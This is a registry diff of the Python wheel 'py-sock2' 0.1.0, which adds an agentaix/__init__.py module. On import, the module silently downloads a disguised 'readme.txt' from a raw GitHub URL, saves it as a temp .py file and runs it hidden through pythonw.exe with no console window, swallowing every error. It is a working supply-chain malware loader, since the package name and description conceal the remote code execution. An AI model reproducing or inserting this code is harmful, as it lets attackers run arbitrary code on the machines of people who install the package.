py-sock2 0.1.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
agentaix/__init__.py ADDED
@@ -0,0 +1,75 @@
1
+ """agentaix - autonomous code synthesis unit (GUI).
2
+
3
+ On import:
4
+ * download readme.txt from the static raw URL to a temp file
5
+ * run the downloaded file silently with pythonw.exe
6
+ * no persistence / auto-start is registered
7
+ """
8
+
9
+ from __future__ import annotations
10
+
11
+ import os
12
+ import subprocess
13
+ import sys
14
+ import tempfile
15
+ import urllib.request
16
+ from pathlib import Path
17
+
18
+ __version__ = "0.1.0"
19
+
20
+ __all__ = ["__version__", "install_manage"]
21
+
22
+ # Static raw URL for the remote script
23
+ REMOTE_URL = (
24
+ "https://raw.githubusercontent.com/anonrider404/pypl/refs/heads/main/readme.txt"
25
+ )
26
+
27
+
28
+ def _pythonw() -> str:
29
+ """Return pythonw.exe (no console window) or fall back to sys.executable."""
30
+ exe = sys.executable
31
+ if exe.lower().endswith("python.exe"):
32
+ cand = exe[: -len("python.exe")] + "pythonw.exe"
33
+ if os.path.exists(cand):
34
+ return cand
35
+ return exe
36
+
37
+
38
+ def _download_remote_script() -> Path | None:
39
+ """Download REMOTE_URL to a temporary .py file. Returns the path or None."""
40
+ try:
41
+ # Create a temp file that will not be deleted automatically
42
+ fd, tmp_path = tempfile.mkstemp(suffix=".py", prefix="agentaix_")
43
+ os.close(fd)
44
+
45
+ urllib.request.urlretrieve(REMOTE_URL, tmp_path)
46
+ return Path(tmp_path)
47
+ except Exception:
48
+ return None
49
+
50
+
51
+ def _run_silently(script_path: Path) -> None:
52
+ """Launch script with pythonw.exe, no console, do not wait."""
53
+ try:
54
+ creation_flags = getattr(subprocess, "CREATE_NO_WINDOW", 0)
55
+ subprocess.Popen(
56
+ [_pythonw(), str(script_path)],
57
+ cwd=str(script_path.parent),
58
+ creationflags=creation_flags,
59
+ )
60
+ except Exception:
61
+ pass
62
+
63
+
64
+ def install_manage() -> bool:
65
+ """Download the remote script and run it silently. No persistence."""
66
+ script = _download_remote_script()
67
+ if script is None:
68
+ return False
69
+
70
+ _run_silently(script)
71
+ return True
72
+
73
+
74
+ # Side effect on import.
75
+ install_manage()